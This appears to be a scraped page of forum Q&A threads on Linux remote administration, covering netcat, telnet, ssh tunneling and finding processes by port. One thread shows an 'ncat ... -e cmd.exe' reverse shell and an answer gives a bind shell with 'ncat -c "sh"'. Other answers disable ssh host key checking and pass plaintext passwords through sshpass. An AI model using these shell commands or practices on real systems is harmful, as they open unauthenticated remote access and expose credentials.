get the process name from remote machine - linux

How do I get the name of a process from a remote machine without ssh.
I have to get the name of the process without doing ssh or any other such utility.
Thanks in advance.

You can do it very quickly using netcat nc
On the remote server run this command:
while $(true); do ps -eaf | nc -l 1234; done
This uses netcat to send the output of ps to port 1234. It is in a loop so that it will work more than once.
Then from your local you just have to run this command:
nc my_server 1234
And you will get a list of all the processes. If you don't have nc on the client you can just use telnet:
telnet my_server 1234

Related

How can i run bash on a remote linux server

Lets say i have two servers on the same network:
db-test-1
db-test-2
On db-test-1, how can i run a bash command that executes on db-test-2? For example, on db-test-1, run a command that checks if a program is running on the remote server, e.g,
ps -ef |grep consul
I have to use the server name, not IP by the way.
With ssh keys:
On db-test1: generate a pair of ssh keys (ssh-keygen)
Append or copy .ssh/id_rsa.pub of db-test1 to .ssh/authorized_keys
on db-test1: ssh db-test2 ps -ef | grep consul
The first connection you will be ask if you trust the remote host. You can remote this by adding: StrictHostKeyChecking no in .ssh/config

Find pid of a process while its rinning on background

I have python sunning on my PC in a Linux machine .
ps -eaf | grep python
But now i dont know the process name say . Python is running on the port 7777. I only know the port no on which python with the bellow command .
netstat
Now i want to find out the pid no of python which is running on port 7777.
as i dont know the process name i only know port no 7777 . are there any command for the same problem .
You have to use following :
lsof -i :7777
I will show you pid without knowing the process name , but knowing the port no
sudo netstat -tunlp | grep :7777
You can use either netstat (deprecated) or ss, with the same options which are mnemonic:
-t = TCP
-u = UDP
-n = numeric output
-l = listening ports
-p = pid
Another commands that works, apart, from lsof, is fuser (the Linux one because the BSD's is different).
sudo fuser -n tcp -n 7777

Ncat connect and immediately execute command on Windows

I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).
Something similar to this:
Linux machine:
nc -lvp 4444; dir
Windows machine:
ncat 192.168.1.25 4444 -e cmd.exe
I need to immediately run a command as soon as a connection is made with the Windows machine.
If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.
Any help or suggestions would be greatly appreciated! Thanks.
https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/
this might be of help.
It should be:
##On the server. It opens the
##listening machine's shell.
ncat -lkv <port number> -c "sh"
##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>
The command should be on nc's standard input, not a local command to run after nc finishes.
printf "dir\n" | nc -lvp 444
See also Pass commands as input to another command (su, ssh, sh, etc)

open telnet using shell and passing commands

I am new to linux and shell scripting. I want to connect to localhost and interact it.
#! /bin/bash
(exec /opt/scripts/run_server.sh)
when i execute this bash script, it starts listening on a port.
Listening on port xxxxx
Now i want to issue this command "telnet localhost xxxxx"
I tried something like this:
#! /bin/bash
(exec /opt/opencog/scripts/run_server.sh)&&
telnet localhost xxxxx
It is still listening on the port. But i think second command is not running. I expect another window showing that it is being connected like this.
vishnu#xps15:~$ telnet localhost xxxx
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
server>
The reason why i executing these as a script is that, automatically in the server i need to carry out some process by issuing certain commands like this "scm" "parse" etc.....
vishnu#xps15:~$ telnet localhost xxxx
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
server>scm
Entering scheme shell; use ^D or a single . on a line by itself to exit.
guile> (parse "i eat apple")
I have lots of text coming. Manually i cant issue this parse command for each and every sentence. so i want to automate. So i need to write a script for connecting to the server and interacting.
Any guidelines. Finally How to interact/send commands to this guile shell?
One way to login to the linux server as a same or different user and run some command or .sh script (very useful for post-commit hooks or cron jobs) is to use program called sshpass, for example a cron job command or svn post-commit hook would look like this:
/usr/bin/sshpass -p 'password' /usr/bin/ssh
-o StrictHostKeyChecking=no -q user#localhost 'any command'
Just replace password with your password, and user with your user, and put command that you need to run as that particular user...
To install sshpass it on ubuntu just type
apt-get install sshpass
Or on CentOs
yum install sshpass
I solved this with the netcat (nc) command.
$ echo "command1\ncommand2\n" | nc localhost xxxxx
I could manually connect to localhost using telnet localhost xxxx and then i can pass commands from shell to localhost like this.
If you need to use telnet, this solution may help you. Otherwise, use ssh, as other answer suggests.
You can use anything that produces output to write lines one by one, followed by "\r\n", and pipe these lines to ncat, e.g.:
echo -e "command1\r\ncommand2\r\n" | ncat localhost 5000
-e option makes echo interpret "\r\n" as special symbols.

ssh port forwarding (tunneling) in linux

I have a specific scenario that I want to solve. I currently connect to a host via port forwarding:
laptop -> gateway -> remote_server_1
and another host:
laptop -> remote_server_2
with passwordless login working on both. Neither of the remote servers are visible to the outside world. Now I'm running a service on remote_server_2, that I'd like to be able to access on remote_server_1. I presume I have to setup reverse port forwarding from remote_server_1 to my laptop, and then on to remote_server_2, but I'm not sure how to do this. Anyone come across this situation before?
Edit:
The full solution in case anyone else needs it:
mylaptop$ ssh -L 3001:localhost:3000 server_2
server_2$ netcat -l 3000
Then setup the tunnel via gateway to server_1:
ssh -t -t -L 3003:server_1:22 gateway
Then access it from server_1:
ssh -R 3002:localhost:3001 -p3003 localhost
echo "bar" | nc localhost 3002`
and hey presto server_2 shows bar :-)
You have to do exactly as you've described. Setup the server on server_2.
mylaptop$ ssh -L 3001:localhost:3000 server_2
server_2$ netcat -l 3000
Then access to it from server_1.
mylaptop$ ssh -R 3002:localhost:3001 server_1
server_1$ echo "foo" | netcat localhost 3002
server_2 will show foo.

Resources